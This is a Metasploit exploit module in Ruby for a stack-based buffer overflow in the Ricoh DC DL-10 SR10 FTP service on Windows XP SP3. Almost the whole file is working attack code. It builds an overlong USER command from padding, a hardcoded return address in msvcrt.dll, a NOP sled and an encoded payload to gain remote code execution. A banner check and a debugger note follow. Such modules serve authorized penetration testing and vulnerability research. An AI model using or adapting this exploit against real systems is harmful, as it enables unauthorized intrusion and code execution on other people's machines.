##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Ricoh DC DL-10 SR10 FTP USER Command Buffer Overflow",
			'Description'    => %q{
					This module exploits a vulnerability found in Ricoh DC's DL-10 SR10 FTP
				service.  By supplying a long string of data to the USER command, it is
				possible to trigger a stack-based buffer overflow, which allows remote code
				execution under the context of the user.

					Please note that in order to trigger the vulnerability, the server must
				be configured with a log file name (by default, it's disabled).
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Julien Ahrens', #Discovery, PoC
					'sinn3r'         #Metasploit
				],
			'References'     =>
				[
					['OSVDB', '79691'],
					['URL', 'http://secunia.com/advisories/47912'],
					['URL', 'http://www.inshell.net/2012/03/ricoh-dc-software-dl-10-ftp-server-sr10-exe-remote-buffer-overflow-vulnerability/']
				],
			'Payload'        =>
				{
					# Yup, no badchars
					'BadChars' => "\x00",
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "process",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Windows XP SP3',
						{
							'Ret'    => 0x77c35459,  #PUSH ESP; RETN (msvcrt.dll)
							'Offset' => 245
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Mar 1 2012",
			'DefaultTarget'  => 0))

		# We're triggering the bug via the USER command, no point to have user/pass
		# as configurable options.
		deregister_options('FTPPASS', 'FTPUSER')
	end

	def check
		connect
		disconnect
		if banner =~ /220 DSC ftpd 1\.0 FTP Server/
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Safe
		end
	end

	def exploit
		buf = ''
		buf << rand_text_alpha(target['Offset'], payload_badchars)
		buf << [target.ret].pack('V')
		buf << make_nops(20)
		buf << payload.encoded

		print_status("#{rhost}:#{rport} - Sending #{self.name}")
		connect
		send_user(buf)
		handler
		disconnect
	end
end

=begin
0:002> lmv m SR10
start    end        module name
00400000 00410000   SR10       (deferred)             
    Image path: C:\Program Files\DC Software\SR10.exe
    Image name: SR10.exe
    Timestamp:        Mon May 19 23:55:32 2008 (483275E4)
    CheckSum:         00000000
    ImageSize:        00010000
    File version:     1.0.0.520
    Product version:  1.0.0.0
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Ricoh Co.,Ltd.
    ProductName:      SR-10
    InternalName:     SR-10
    OriginalFilename: SR10.EXE
    ProductVersion:   1, 0, 0, 0
    FileVersion:      1, 0, 0, 520
    PrivateBuild:     1, 0, 0, 520
    SpecialBuild:     1, 0, 0, 520
    FileDescription:  SR-10


Note: No other DC Software dlls are loaded when SR-10.exe is running, so the most
stable component we can use is msvcrt.dll for now.
=end